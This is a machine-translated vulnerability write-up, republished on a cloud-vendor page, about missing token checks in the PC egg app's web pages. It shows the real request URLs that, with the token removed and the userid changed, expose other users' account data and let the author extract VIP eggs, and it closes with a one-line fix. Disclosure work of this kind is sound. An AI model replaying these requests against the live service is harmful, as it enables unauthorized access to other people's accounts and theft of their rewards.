PC egg tokens are not strictly audited. As a result, any account information can be viewed and any VIP egg can be extracted.

Source: Internet
Author: User

PC egg tokens are not strictly audited. As a result, any account information can be viewed and any VIP egg can be extracted.

Privacy information leakage caused by poor token auditing on the Web Side of the PC egg App.



0x01 preparations



Hardware: iMac of iPhone 6 and Broadcom 802.11n NICs

Tool: sniffer tools



Enable Bearer Network (Virtual AP ):
 





Download the APP:
 





Register and log on:
 





0x02 proof of vulnerability



Sniffer:
 

GET /page/myeggs/app_message.aspx?t=1&v=2.0.6&userid=19118867&token=qigqrsrw8r8pa3bbd7coc7qa5s2atpqtql2caec8&keycode=3B33F47EA87C9B19AE2A1E41E75BBF7 HTTP/1.1Host: app.pceggs.comConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12B436Accept-Language: zh-cnAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8





Put the address in Chrome for access:
 





Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & v = 2.0.6 & userid = 19118867 & token = qigqrsrw8r8pa3bbd7coc7qa5s2atpqtql2caec8 & keycode = 3B33F47EA87C9B19AE2A1E41E75BBF7



It is accessible, that is, what is the role of token and keycode? OK. Let's test the parameters one by one.

Remove the keycode parameter:
 





Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & amp; v = 2.0.6 & amp; userid = 19118867 & token = qigqrsrw8r8pa3bbd7coc7qa5s2atpqtql2caec8



If it is found that the token can be accessed, does it only check the token? Let's remove the token.



Remove the token parameter:
 





Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & v = 2.0.6 & userid = 19118867



You can still access the miracle !! Isn't the token verified ?? Try another userid!



Try userid 1003:
 





Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & v = 2.0.6 & userid = 1003



A miracle has occurred ......



Does other pages have this problem? Take a look ......



Personal center:
 





Http://app.pceggs.com/page/myeggs/app_myeggs.aspx? T = 1 & v = 2.0.6 & userid = 17789037



No token to view VIP eggs:
 





Extract egg:
 





Egg extracted successfully:
 





Http://app.pceggs.com/page/myeggs/app_vip.aspx? Type = 1 & t = 1 & amp; v = 2.0.6 & amp; userid = 17789037



Other pages that are not listed are the same issue.

 





Http://app.pceggs.com/page/myeggs/app_message.aspx? T = 1 & v = 2.0.6 & userid = 1004

Solution:

Verify token and keycode integrity

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.